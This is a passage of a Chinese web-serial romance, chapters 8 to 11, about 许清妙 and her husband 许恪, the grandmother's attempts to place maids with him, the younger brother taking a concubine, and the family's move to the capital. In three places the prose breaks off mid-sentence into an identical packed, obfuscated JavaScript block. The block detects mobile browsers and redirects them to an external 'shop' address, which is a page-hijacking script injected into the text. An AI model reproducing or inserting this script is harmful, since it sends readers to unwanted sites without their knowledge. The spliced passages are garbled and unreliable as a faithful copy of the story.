许清妙知道院子里的人都是婆母和老太太送来的,没想到居然胆子大到公然非议他们夫妻之事。 她也很生气,“鹊枝去书房请翰林,这院子里的人我是管不了的,左右翰林休假让翰林来管。” 说完她便径直进屋回了房,屋外那两人哭天抢地的,很快又噤声了,院子里响起许恪的声音。 “鹊枝去前院通知随安,带人过来将她们俩送去给大夫人处理,剩下的三个丫头送回老太太院里。” 随安是许恪身边得力的小厮,这次探亲许恪就带了他回乡,这些日子无事都歇在了前院。 许恪的命令不容求情,刚还嚷嚷的俩人根本不敢求饶,只跪在那里抹眼泪。 鹊枝应下,转身去喊人,路过那俩人时轻哼道:“活该,目无尊卑。” 8. 第 8 章 青云院内杏花如绣,百卉含英。 许清妙站在窗边赏花赏景,粉嫩的打扮像开在窗边的一支风姿绰约的芍药。 许恪推门进来,她闻声看去,嘴角上扬轻启红唇:“哥哥可处理好了?” 许恪望着她露出浅笑,手里捏着一封信,不紧不慢地走过来:“都打发了,对这些不守规矩的奴仆,三娘不必客气。” 许清妙心思巧妙,自然不是在讲客气,“哥哥,你出面比我处理好,我要是直接打发了她们,娘要生气祖母也要怪罪,哥哥就不一样了,她们才舍不得怪你。” 不待许恪辩驳,她又转了话题:“对了,二哥刚回府了,娘让我们晚上过去祖母院子里用饭,给二哥摆了接风宴呢!” 许恪没有露出意外的表情,看来是早就知道。 “好,你先看看这封信。” 许清妙接过:“这是谁写给你的呢?” 许恪脸上表情变得认真起来:“父亲写的,今日刚收到,父亲让我回京时带着祖母和娘一块进京。” 许清妙一边看信一边惊讶问道:“那祖父呢?祖父最近不是云游讲学去了吗?” 许恪:“嗯,朝廷下了敕令重新启用祖父修编国史,他老人家直接从黔中道进京了。” 祖父许淳曾任集英殿大学士,多年前因不满先帝废太子愤而辞官,侥幸先帝虽乾坤独断却也坚守祖训“善待文人士族”,并没有牵连当时刚入仕途的许家儿郎。 “父亲还让你提前回京,可是出了什么事情?” 许清妙很少见到这位大伯父,仅有的印象便是谨慎严肃,就如这封信,明明是给儿子的家信,却满纸晦涩之言,仅有的几句叮嘱也是让照顾好祖母和王氏。 许恪摇头:“父亲信上说的隐晦,无从猜测,不过总不会是很坏的事,我们全家进京团聚只会是好事,你说对吗?” 许清妙不由点头,难怪他进门时候面上带笑毫无紧张。 “那哥哥我们赶紧去找祖母商量吧。” 她水眸清浅,所有情绪都让人看得清楚。 许恪些许触动,感叹她还真是个刚及笄的小女郎。 许恪接过她看完的信重新叠好,“我还以为你会失望,准备了话安慰你,毕竟祖母和娘一起去了京城,你以后肯定得受她们管束。” 许清妙皱了皱鼻子,轻哼:“哥哥真是小瞧我了,祖母和娘从小养大我,因为我嫁给你才不待见我的,等日后她们真心接受我了自然又对我好了。” 她虽然有些怕王氏,但不可否认王氏对她有教养之恩。 许恪浅笑道:“三娘真聪慧,是我让你受委屈了。” 许恪伸出修长的手摸了摸她的后脑勺,用这种安抚小动物的动作来表达他的心疼。 “哥哥,我又不是狸猫,才不用你顺毛。” 许清妙说着不要,脚下却没动,任由他摸完了后脑勺。 还好她今日梳的凌虚髻,后脑勺那一块长发自然吹落,倒没有被摸乱发髻。 * 许家大宅院里花团锦簇、莺歌燕舞,许清妙与许恪并肩走在春光里。 鹊枝笑嘻嘻地远远跟在身后,他们家小姐和翰林可真般配,只是最近守夜都没听见叫水,她每日早早准备好两大铜壶热水,结果次次放到天亮凉掉。 这太奇怪了,以往隔三差五那水都是不够用的。她还忧心他们是不是闹别扭了,可瞧着也不像呀! 鹊枝是真迷糊了。 老太太的荣锦院离雁栖院不远,在整个大宅子的东南位,遵守“长幼有序”的风水定位,院子不大却很周正。 许清妙随着许恪进屋时,院中花厅里已经张罗起了席面,丫鬟婆子喜气洋洋来来往往。 “翰林万福,少夫人万福。” 替他们打帘的是老太太院里的大丫鬟锦棉,模样周正举止大方。 锦棉笑盈盈地问了安,引着他们进了隔间。 “是大郎来了,二郎快去见过兄长。” 老太太带笑的声音从绣着祥云飞鹤的屏风内传来,许恪俩人刚绕过屏风,见到许意躬身站在了跟前。 “长兄万福,弟弟给您请安了。” 许恪展笑扶住许意的手臂,拍了拍:“二弟结实了,兄弟间不用多礼。” 许意抬头一双带笑的桃花眼望向许恪,“长兄风采依旧,弟弟望尘莫及,还是三妹妹有眼光。” 许恪无奈笑道:“别贫嘴。” 许清妙清脆的声音矫正道:“二弟你得叫我大嫂。” “噗嗤!” 许意一声嗤笑,桃花眼看向许清妙,“三妹妹可真会占我便宜。” 许清妙看着他麦色精瘦的脸上一双灼灼桃花眼定定地看着她。 她不由怀疑自己是不是说错了话,记忆里许意离家时肤白貌美,一双带笑的桃花眼迷倒方圆百里见过他的女郎。 许清妙莫名觉得现在的许意对她态度有些微妙,但又说不上来什么具体的来。 “走吧,不用理他胡闹。” 许恪拉过她的手腕带着她向前给老太太、王氏行礼。 “行了,人都到齐了就开席,都出去外面花厅坐下。” 老太太不知为何淡了笑,带着众人出了隔间。 刚刚从青云院撵回来的三个丫鬟正在院子里忙活,许清妙不解地看了眼老太太。 这老太太真是不厚道,这么些个艳丽貌美的丫头,她一直留在院子里是还不死心呀! “坐吧,别愣着,今儿有上好的陈年花雕,大郎定要好好陪二郎喝几杯。” 老太太恢复了笑脸,誓要将两孙子拉在一起好好聚聚。 “孙儿从命。” 许意继续笑闹,俩兄弟互相说着祝酒词,你一杯我一杯,好不热闹。 “大家都喝,燕娘你们婆媳也喝,喝了这顿酒明儿再来陪我逛园子。” 老太太发话,没有不从的,许清妙也端着酒杯小口小口喝了起来。 簪花饮酒,人生雅事。 许意酒兴越发高了,嚷嚷着让一旁伺候的大丫鬟也给他敬酒,一时间,院子里的丫头都围着他说尽了赞美之词。 许恪笑看着摇了摇头,倒没有丫头敢当着许清妙的面去给他敬酒。 酒席过半,老太太散了丫头婆子,自个也拉着王氏起身回房,临走前缓缓道:“鹊枝先送三娘回青云院醒酒,不用管你们翰林,等他们兄弟喝够了,我自会派人送他回去。” 鹊枝恭敬领命,扶着半醉的许清妙起身。 许恪喝过酒的眸子如水洗了一般明亮,直直得看向她:“可有不舒服?” 许清妙勾着笑摇头:“哥哥放心,我没喝多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053544|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是有些闷热而已,回去洗漱下就好了。” “好,那你路上慢点。” “嗯,你们俩也别喝过了。” 许清妙搭着鹊枝的手走远,直到她的背影消失在花丛里,许恪才收回目光。 转头便见着许意落寞清醒的样子。 “不喝了?” 许恪自知没有最近三年记忆,但他还算了解自己的弟弟,热闹过后喜欢一个人舔舐伤口。 只是他不知道今日的许意为何所伤怀。 许意咧嘴一笑:“喝,为何不喝?” 一碗黄汤入肚,半生愁绪离索。 许恪也不劝他,只俩人轻酌慢饮,酒到浓处话也多起来。 许恪脸颊泛着胭脂色,“父亲来信让我带着祖母母亲进京了。” 许意听后喃喃道:“本就不该让她们留守云田,爹和三叔在京里做官,二叔马上也会调回,你们都在京城了,我也要把生意做到京城去。” 许恪笑道:“那你不用常年不着家的四处跑了吧?” 许意也笑:“整个大雍国我都跑遍了,再跑就奔着海外了。哥,你知道吗?海崖那片海域过去是还有陆地的,只是太远了,我舍不得你们。” 天下很大,去看过走过,总归是要回到出发的地方。 所以他回来了。 * 许清妙躺在榻上,昏昏沉沉,耳边是窗外叽叽喳喳的鸟语虫鸣。 “鹊枝,哥哥回来了吗?” 她睡不着,惦记着喝酒的许恪,她总觉得老太太在使坏。 鹊枝端了热水过来,拧湿帕子给她擦脸,哄她:“小姐别急,翰林陪二公子喝酒,喝完就回来了。” “鹊枝,我问你,二哥怎么变了这么多的?” 鹊枝苦恼道:“小姐,这奴婢哪能知道呀?二公子常年在外,只您和翰林成亲前匆匆回过一趟,那时候的二公子跟现在差不多呀!” 许清妙揉了揉散发着热意的脸蛋,“噢,我大概是太久没见到他了,鹊枝,你待会去老太太院子里守着,翰林喝完就接他回来。” 鹊枝犹豫:“可小姐这里也缺不得人呀!” 许清妙摆了摆手:“你让宁妈妈过来伺候就成。” “那成,有宁妈妈在奴婢放心。” 宁妈妈是许清妙的奶娘,做事稳妥。 许清妙身上舒服了,眯着眼趴在榻上,蹭着凉爽的玉枕渐渐睡沉。 梦里光怪陆离,她变成一只雀鸟飞越云海,月地云阶之上她又变成了一位仙子,白衣飘飘临风起舞。 浅梦稍纵即逝,许清妙再次醒来见到鹊枝焦急的脸。 “小姐,老太太院里的锦棉说翰林喝多了已经睡下了,让您别担心。” 许清妙刚醒,一时间只道:“噢,那让他睡吧。” 鹊枝却拉着她手晃了晃,“小姐,那老太太院里的几个艳奴在伺候呢!” 锦棉那话里有话的样子,便是鹊枝心思简单也悟出了她的意思。 “锦棉拦着不让奴婢进去,说是老太太吩咐了不许打扰,小姐你得想想办法呀,万一她们真成了,那不是给小姐添堵吗?” 许清妙猛的清醒,暗道不好,哥哥有旧疾,会被她们欺负的。 她愤然坐起身:“鹊枝,跟我走!” 救哥哥去! 9. 第 9 章 午后闲云舒卷。 荣锦院的西厢房改成了一间雅致的佛堂,正对大门的墙上悬挂着一张名士手绘罗汉传经图,图前设六角香案燃着袅袅檀香。 案下许老太太顶礼膜拜、虔诚祷告:“愿菩萨保佑许家子嗣延绵,福寿安康……” 老太太深感这辈子走了大运,她本是县尉之女,机缘巧合嫁给了当年偶然遭难的两榜进士许淳,成婚后许淳一路高歌猛进,短短十几年便官至集英殿大学士。 她因丈夫而享尊荣,这辈子她都感恩许家,年轻时为了人丁兴旺给丈夫纳妾,善待庶子庶女,如今老了她也要尽绵薄之力祈求各路神佛保佑许家。 “噹!” 一声铜磬声响起,悠扬回荡。 锦棉轻声进来搀扶着老太太起身,“老夫人……” “出了佛堂再说。” 屋外春光明媚,院子里的酒香盖过檀香扑面而来。 “说吧!” 锦棉低声道:“老夫人,翰林不让人近身伺候,将云竹她们赶出来了。” 她说完看着老太太欲言又止。 老太太叹气:“唉!还有什么一起说了,别藏着掖着。” “云竹她们被赶出来后,被二少爷拉回了房。” 话落,老太太平地一个踉跄险些摔了,咬牙道:“这混小子……” 锦棉低头扶着老太太在廊下靠凳上坐下,察言观色道:“还有少夫人屋里的鹊枝来问过了。” “你怎么回的?” 锦棉:“奴婢告诉她您已经派人照顾翰林歇下了。” 老太太点点头,无奈道:“算了,大郎那边不要让丫头伺候了,二郎那也让她们赶紧出来。” * 许清妙赶到荣锦院时,许恪正从偏房推门而出,猩红的眼底全是醉酒后的克制和倔强。 院子里老太太见了面露懊恼,她实在想不通这天下郎儿还有不愿收通房纳妾室的,她自己的丈夫儿子虽都不是好色之徒,但哪个不是妾室通房好几个,这都是为了许家子嗣香火延续。 许清妙的心疼快溢出眼底,一手拎着裙摆飞奔向他,伸出手去紧紧地扶住许恪的手臂。 “哥哥……” 她不敢开口问他是不是很不舒服,这样问的话老太太势必下不来台,可老太太千不该万不该总想着给哥哥塞婢女呀。 许恪手臂环过她的肩头,半靠在她肩上,“没事,就是多喝了两口不碍事。” 他搂着她站定,转头看向老太太,声音清冷又无奈道:“祖母,孙儿的旧疾乃顽疾,这辈子也无法根除,您又何必非要一再试探呢?” “倒是我的不是了,罢了罢了,你赶紧回去歇着,祖母以后再不多事了。” 许恪撩袍跪下:“请祖母原谅孙儿,孙儿无意冒犯祖母。” 老太太叹气弯腰扶他,“大郎这是做什么?祖母岂是会跟你计较这些?你不愿便由你了,祖母就是心里太着急了。” 老太太的手刚碰到许恪的手臂,便见他浑身一颤,脸上似忍得辛苦。 老太太见他这般,松了手,侧眼看向许清妙,也就她扶着看起来毫无异样。 果然如他所说这洁癖旧疾根本没好。 总算是没骗她。 许恪站起身来,无奈一笑:“祖母着急是应该的,孙儿成婚三年也没能让祖母如愿,是孙儿的不是。” “哎,行了行了,赶紧回去歇着,子嗣之事日后再说。三娘,扶大郎回院子休息。” 许清妙乖巧应下,扶着许恪出了院子。 路上走的不快,她好奇地问许恪:“祖母真给你塞艳婢了?” 许恪摇头:“没有,只是让她们服侍伺候梳洗,我没肯罢了。” 许清妙拍了拍胸口松出一口气来:“我担心哥哥旧疾复发不舒服匆匆赶来,还好祖母还有分寸没有乱来。” 许恪低声道:“祖母是关心则乱,她应该是一直不肯相信我真有这毛病。” 他不清楚当初用了什么条件跟家里谈妥的婚事,如今家里长辈几乎都知道他这癖洁的怪症,应是他主动告知的。 许恪侧头看向小心翼翼扶着自己的许清妙,他能猜到自己为了娶她应该是付出了很多心思。 “那哥哥怎么就对我不同呢?” 许清妙很好奇,自己到底是怎么让他能克服身体上的怪癖的。 没有这三年记忆,她是一点头绪也没,如果知道原因或许可以帮助哥哥康复呢? 她觉得哥哥这样外人碰都碰不得也太难受了。 许恪闻言不由浅笑,身上的酒气散了大半,抬手拢了拢她睡醒没来得及整理的鬓发。 “我也不知道为何,或者就是天生如此呢?听说在毒物生长的百步之内也必有其解药,有些事很难解释的清楚。” 而三妹妹又何尝不是他这个怪物的解药呢? 许清妙细细琢磨许恪的说法,少倾,扬唇笑道:“天生的吗?” 这个说法她很喜欢。 * 荣锦院内偏房,许意搂着云竹陷入半昏半睡,伺候一旁的婢女不敢出声,只能看向云竹。 云竹摇了摇头,示意她们先退下。 云竹本是良家女子,因家里穷困,十一二岁自愿签了身契进许家为奴,许家老太太看她长得标致,为人正派,有意将她送给大公子做通房。 可以大公子从没正眼瞧过她,如今反倒被二公子拉进了屋,于她来说是大公子或二公子并无差别。 她总是不可能再嫁人为正妻了。 其他婢女退出去关上了房门,云竹的手臂仍被牢牢握住。 她试着轻轻抽动,却惊动了醉酒的许意。 “别躲,怎么一见我就知道躲?” 云竹知道二公子在说醉话,她从没躲着二公子,他这是把她认做其他人了。 她不敢动,想着等他睡熟了再抽出手臂,不想醉酒的人力气极大一把将她拉进了怀里按在了身下。 “躲什么?我又不会害你。” 许意醉梦中似乎见到了前世的自己,那时候的他还是个生活在新时代无忧无虑的高中生,不想一场车祸将他带到了这个叫大雍的不知名封建王朝。 他成了许家嫡出二公子,那年他十四岁,面对大山一般的四书五经文言词句,他毅然决然反抗了,被打的下不来床也坚持要学经商。 让他科举就是要他的小命好吗?八股文是那么好学的?官场是那么好混的? 而当他看到与自己前世暗恋的小青梅长得一模一样的堂妹时,他更加坚定了离家的决心,他实在做不到天天看着那张脸在跟前晃,却是有血缘的至亲。 他跑了,想着等时间过了,他自然就放下了。 可谁能想到没过多久,家里传来长兄与三妹妹成亲的喜讯,他险些晕过去。 这是什么逆天反转,三妹妹居然不是三叔的血脉,他们并无血缘。 他不知道是该高兴还是难过。 匆匆回家见到了许三娘,却只见着她什么也不知道的一双纯净眼睛,他什么也说不出口。 他才惊觉他早就不在原来的时空了,许三娘也不是他暗恋之人,不过是一具相似的皮囊罢了。 他睁眼看着被他搂在身下的女子,那双眼睛纯净如清流。 “你愿意跟着我吗?” 他喃喃开口,刚到这里时原来的他也有通房婢女,可那时候的他羞于男女之事,更不可能接受没有感情基础的男欢女爱。 逃也似的跟着族亲出门学跑商了。 云竹一双碧波似的眼眨了眨,“奴婢愿意的。” 她不挑,给公子哥做通房侍妾已经是她们奴籍女子的好出路。 许意低头亲上了那双眼,“那以后就跟在我身边。” 唇瓣相接时,许意知道自己开始彻底融入这个世界。 房门口守着的婢女听见了屋里的响动,面红耳赤地走远。 屋里红浪翻被,屋外青天白日。 “荒唐!” 王氏懊恼婆母糊涂,二郎早晓得人事,如今本就因跑商耽误了婚事,这要是再弄出庶长子,叫哪家大户愿意将女儿嫁给他。 “备好去子汤,二郎走了就让云竹喝下,看着她喝完。” 王氏将那在青云院里嚼舌根的婆子和奴婢扭送到了荣锦院。 老太太正头疼得歪在榻上歇气。 “娘,儿媳有一事想跟您商量。” 王氏性情本就温和,即便心里再恼火,也声音平和恭敬。 老太太声音厌厌的,“说吧,今儿都说了。” 见婆母情绪不高,王氏本该就此打住缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053545|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后再说的。 但她也实在憋的久了,还是坚持开了口:“娘,儿媳想让娘将那四个买来做通房的艳奴给打发了。” 老太太扶着额头,睁眼看她,薄怒的脸上欲言又止,最后只问道:“既然买了为何要打发了?” 王氏低头陈述:“娘,男子虽然都好颜色,可我们家这些郎君哪个不是正派刚直,您让艳奴进屋本是为了延续子嗣,可如今大郎根本近不得身,这要是都给二郎折腾了,那不是害了他吗?” “未结亲的郎子耽于女色,那是毁人心志的,况且这些艳奴本不是什么好人家出来的,心思歪背后就敢议论主子的房内事,实在是留着只有坏处了。” 王氏陈情弊害,老太太立马惊醒,她本就没有害人之心,如今顿时觉得自己糊涂至极。 捂着额头不看王氏,只挥了挥手:“你看着办吧,这事你来做主。” * 很快一夜过去,四名艳丽的婢女被发卖了,那嚼舌的婆子也派到庄子上做工,只余下被许意收了房的云竹,没了去处。 许意一早出门办事,府里人习惯他久不归家,云竹也以为他把自己给忘了。 王氏故意晾着云竹,老太太则身体不舒服卧床休息。 许清妙一大早带着鹊枝再次来了老太太院子,却只见着锦棉, “既然祖母歇着了,那我给你说也一样,等祖母醒了你告诉一声。” 许清妙含笑看着锦棉,她知道昨日锦棉是故意在鹊枝面前说那些话引起她们注意的,这个人情她自然领了。 “京里父亲来了信,让我们回京时带上祖母和母亲,你跟祖母说下。” 锦棉诧异不已,清脆应下。 许清妙便转身出了院子,又去了王氏的雁栖院。 王氏那里见了面很快就说清了。 “娘,您看看家里哪些用得顺手的奴仆需要带的一起带上,收拾好了就派人通知我们一声,等大家都收拾了才启程。” 王氏蹙眉道:“可是很急?” 许清妙也不隐瞒:“也不算很急,但哥哥说了要尽快。” 王氏若有所思,她出身大家且心思比许清妙深,知道很多事情表面上风平浪静,实际上底下可能已经波涛汹涌了。 既然大郎说了要尽快,那就是有要紧事。 想通这些王氏立马决定道:“三娘,你回去告诉大郎,用不了几天,娘就能都安排好,让他放心。” 许清妙点头应下,“那娘我就先回去收拾了。” 她刚要踏出门槛,就见香云匆忙赶来:“夫人,二郎回来要将云竹一起带走,现在正在老太太屋里说话呢。” 王氏拧着帕子哼了一声:“这混小子真是闹腾。” 她本欲晾一晾那云竹,日后收到二郎房里后方便管教,结果这儿子突然管起这事了。 “走吧,去看看。” 于是,本要回去的许清妙也跟着去瞧瞧热闹。 老太太院子里又围着不少人,老太太不知何时起来的,端坐在院子里的软榻上,一旁摆着一碗冒着热气的汤药。 看起来确实是不舒服,许清妙还以为老太太是不想见她的托词。 “祖母可是哪里不舒服吗?” 她开口关心,为自己对老太太的少许不敬感到内疚。 “没事,就是身上懒惫,吃点药就好了,三娘不用担心。” 老太太和气的神色不像真生气了,许清妙暗暗舒口气。 王氏在一旁说道:“二郎,你祖母身体抱恙还要来操心你的事,你可知轻重?” 许意无意累及祖母,连忙跪下:“求祖母原谅,孙儿知错的。” 老太太瞪他,什么知错不知错,他就是仗着她宠溺。 “行了,就一个婢女的事,祖母的什么不是你的?把云竹身契给他,以后云竹就是你的人了,待人好点。” 王氏干瞪眼,这老太太也太没原则了。 “二郎,你可不能有庶长子,知道吗?这是娘的底线。” 许意恢复了灿烂笑容,桃花眼真诚无比:“娘放心,孩儿都听您的。” 许清妙一直没吭声看着,发觉这两位长辈对二哥是真宠啊。 她抬眼看向许意,见他也正看着她笑得风轻云淡。 “三妹妹,你笑什么?” 10. 第 10 章 隔日。 春和景明,秀野踏青的好日子。 许家宅院里,主仆却在热火朝天地为进京做准备。 许老太太在荣锦院摆了三桌席面,宴请许氏族老亲戚。许家祖产宅院仆人都需要有族亲的帮忙看顾,老太太出面该嘱咐的嘱咐,该拜托的拜托。 许家的根在云田,不管外出求学为官多少年,总是要落叶归根的。 老太太也一样,她横竖是要回故土的,该搭理的人情往来不能少。 老太太忙得没空再头疼,许清妙自然也没闲着,带着丫头婆子在院子里收拾行李。 她和许恪这次回乡带的行李可不少,光她一人的绫罗衣裙、珠宝首饰和话本趣玩就占了一半。 她从不知道自己居然这么爱打扮,光头面首饰就带了五套,其中一套玳瑁打底镶嵌翡翠宝石的头面更是奢华,还有各类胭脂水粉香露一应俱全。 更可怕的是她还有一个铜鎏金珐琅小箱子,里面装的全是些奇奇怪怪的东西,轻纱的肚兜,兔耳毛的小领子、细腻软皮的小皮绳…… 她直觉不是好东西,翻看过后连忙盖上丢在一旁。 这个就不带回京了。 “少夫人,这个箱子奴婢会单独给你收好,您放心保证不会丢了。” 许清妙诧异地看着鹊枝小心翼翼地抱走了小箱子,放进了衣箱底部。 好吧,那就收着吧,反正她也不会再翻出来了。 内室,鹊枝一样一样帮她收拾,她出来外间喊来宁妈妈。 “宁妈妈,你去翰林书房里看看,可有什么需要帮忙的。” 再一想又觉得不成,宁妈妈不识字。 只得又改口:“算了,宁妈妈你还是替我收拾这些话本吧,翰林那我去看看。” 宁妈妈一张圆脸白白胖胖,笑眯眯地道:“少夫人想的周到,老奴目不识丁去了也是给翰林帮倒忙,倒是丢人咧。” 鹊枝将一对玉石耳环装进紫檀嵌八宝首饰匣里,娇声哼道:“宁妈妈惯会谦虚。” 许清妙看她们说笑,自己也笑着出了内室。 院子里杏花树下,小丫头正在认真擦洗她的小鹿皮软底靴,架子上还晾晒着各式绣鞋。一溜排过去起码几十几双,各花各色煞是豪横。 许清妙低头,莫名有些心虚,她这三年后的日子是不是过得太奢侈了。 许家虽然是书香世家,但算不得高门大族,店铺田产这些倒是有,但并不是钱生钱的高收买卖,祖父许淳更是修研道法不喜后辈铺张浪费。 以前,她的绣鞋一个季节最多四五双替换,屋里婆子不会做这么多放着浪费。 许清妙心有戚戚,脚下步伐不由加快,赶紧走开了。 书房的门大开着,里面传来说话声。 许清妙站在门前往里看,只见许恪带着随安和一个面生的小厮在整理书籍。 他这次回乡带了好些书,回京又要带走一些家里藏书,需要整理好一摞一摞的码好收进防潮箱子里。 “哥哥,我来帮你吧。” 许恪抬眼看过来,见是许清妙站在门前,清冷的脸上有了些微变化,抿唇笑了笑,放下手里的书走了过来。 “不用,让他们慢慢收拾就行,你房里的都收好了?” 许恪看了眼身后的小厮,拉着她往院子里走了几步,避开了他们。 “嘿嘿,我也让鹊枝和宁妈妈在收拾。” 她又走近几步拉着他的手臂凑近,压低了声音疑惑道:“哥哥,你不知道我看到那一箱箱昂贵的绫罗衣裙、首饰玩趣,心都要跳出来了,我这三年怎么敢买这么多东西的?” 许恪摸了摸耳垂她说话凑得有些近,痒痒的。 他心底犹豫着要不要告诉她,那些东西有些是他送的,但大部分确实都是她自己添置的,他们俩京城府里的银钱都收在她的小匣子里,随意她支用。 他会知道这些,只因为今日他要给随安打赏时随安随口道:“翰林不用打赏奴才,少夫人每个月固定给我赏银呢。” 许恪趁机不动声色地套了随安的话,才知道的上面这些。 许清妙睁着一双圆溜溜的眼睛,透亮的眸子里印着自责。 许恪抬起手摸了摸她的鬓间,无奈笑道:“三娘,京里不比云田,奢靡成风,你要出门参加集会、出席夫人太太们的活动,妆点打扮必不可少。” “其实你这些还算少的了。我听一位同窗说,他家夫人的首饰衣物都是几十个大箱子装。” “啊?” 许清妙微张着红唇,露出不敢置信的表情,他们还聊这个? “哥哥,那也太奢侈了吧!” 许恪摇了摇头,认真解释道:“金银珠宝算不得什么,不要奢靡人力、食物穷讲究、乱攀比就很好了。三娘不须介意这些,按着自己喜好来就成。” 许清妙不由笑了,她嫁给哥哥果然是明智之举。 昨日,许意问她笑什么,许清妙当时说不出个所以。 此刻却突然有所悟了,她在庆幸自己,她嫁的人是许恪,一个没有侍妾身有旧疾的谦谦君子。 而不像二哥许意,长得风流倜傥,十三四岁就有通房知人事,如今喝顿酒都能睡了祖母屋里的丫鬟。 她甚至能联想到,胡家那位与她订过亲的胡大郎应该也是这样,大家公子妻妾成群,时不时还处处留情,这样才是世人常态。 * 许家举家进京的消息很快传遍云田。 傍晚时分燕归巢,许清妙陪着王氏正在清点账目,门房上管事进来回话。 “夫人,少夫人,这是刚才林家派人送来的拜贴。” 许清妙接过拜贴递给王氏,心底不由好奇,这个林氏是哪家的呢?怎么太阳落山了来送拜贴? 王氏接过帖子仔细看了看,高兴笑道:“你去回他,就说明天得空,让她们少夫人早点来。” “是。”门房退了出去。 许清妙直觉这个林氏少夫人跟他们家应该是很熟,不然王氏不会在这么忙的时候还见她。 可她实在没印象,为了不被王氏发现,她便没有说话。 “看看吧,你五妹妹着急回家看我们了。” 王氏将帖子推给了她,继续看账本。 许清妙脸上的惊讶便没有收敛。 原来是五妹妹。 她知道四妹五妹都嫁人了,但她不敢无缘无故去打探她们嫁了谁,只能顺其自然的慢慢去发现。 她也没有让许恪去打探,毕竟现在许恪所有精力都用在了熟知他的公务关系上。官场各级关系错综复杂,更别说衙门里的利益牵扯,稍有不慎就会被人拉下。 许清妙虽然不太懂,但耳濡目染她自然晓得轻重。 如今知道五妹妹嫁在了云田本地,她又好些失望,要是在京城就好了。 “怎么不吭声呢?莲姐儿跟你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053546|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是玩的最好吗,明儿回来了你好好带着她在家玩,我事多陪不了多久。” 许清妙立即回了神,笑道:“好的,我就是一时太高兴了,都好久没见到五妹妹了。” 王氏不解地瞥了她一眼:“上个月你们到家时她就见你了,这才多久就说好久。” 许清妙低头不由吸了口气,果然言多必失,尴尬道:“自然是一日不见如隔三秋。” 王氏摇头笑了笑没在意。 * 翌日辰时三刻。 一辆时兴的雕花马车停在了许宅门口,机灵的小丫头搀扶着一个妇人打扮的小娘子从马车上下来。 许清莲眉目清秀,一双清亮的眸子格外灵动,只是此时眼眶里有了些许红丝。 “去敲门。” 跟在一旁的婆子领了命,往那门房处敲了几下,立马有人出来。 “哎呀,五姑娘回来了。” 门房立马出来见礼,接着西角门便被人从里面打开了。 许清莲看了眼小丫头,那小丫头立马掏出一点碎银子,打赏了门房。 许清莲笑道:“去通知大伯娘吧。” 门房笑眯了眼,连连请她先进花厅里坐。 许清妙昨儿让门房及时通报,这会许清莲刚在花厅坐下喝茶,她便带着鹊枝找过来了。 “五妹妹!” 许清妙抑制不住地上前握住许清莲的手,天知道她前几日见到的许清莲还是个青涩小丫头,转眼就一副小妇人的模样了。 “三姐姐。” 许清莲仰着脸看向她,刚开口,眼泪就哗哗的流了下来,委委屈屈的模样可怜的不行。 许清妙手忙脚乱,拿了帕子给她擦脸,又扶着她坐在红杉绣凳上。 好一番安抚,才听她哽咽道:“你们都去京城了,我往后可怎么办呢?” 许清妙听了她哭诉方晓得她的惧怕,她嫁在了云田,往后许家在京城,那她的娘家就在千里之外,但凡她有个什么事,娘家根本来不及接应她。 许清妙一时呐呐,不知如何回应她的伤心难过。 “三姐姐,我现在才晓得你当初的决定有多么正确,答应大哥嫁给他,你什么也不用怕了,家里人都会护着你。” 许清妙很关键地抓住一句话,“答应大哥”? 她抬眼看向一旁站着的鹊枝,鹊枝一脸无辜:“少夫人我也不清楚啊!” 许清莲抬着泪眼看向许清妙,再看了眼身边围着的侍女,小心翼翼道:“三姐让她们下去吧,我们俩人说。” 许清妙自然同意,“你们都下去吧,晚点过来。” 婢女婆子都走了,花厅里就剩她们姐妹二人。 许清妙坐在许清莲身旁,拉过她的手说道:“你还知道什么,都告诉我吧。” 许清莲低着头抹眼泪。 “我就知道大哥需要个名正言顺的妻子,你不想嫁到胡家。” 许清妙没说话,眼睛不眨看着她。 许清莲看了她一眼接着说:“我是不小心听到的,那晚我跑去找你玩,结果不小心在屋里睡着了,迷迷糊糊醒来就听到你跟大哥在外间说话。” “我不是故意偷听的,大哥似乎是有什么不得已苦衷只有你能帮他,而你正好需要他帮忙退了亲事。” “你的意思是,我们俩一拍即合达成某种交易才成的亲?” 许清莲无助地看向她:“难道不是吗?” 11. 第 11 章 院子里的风突然就有了初夏的味道。 落花生香、梅子流酸。 许清妙只觉得脸上火辣辣的,像是被夏日的烈阳炙烤过,她不自然地避开许清莲的眼睛,低着头期期艾艾道:“我...我们,我和哥哥肯定不是呀。” 他们要是因为某种目的成亲,婚后三年能那般水乳交融、如胶似漆? 反正她是不大信的。 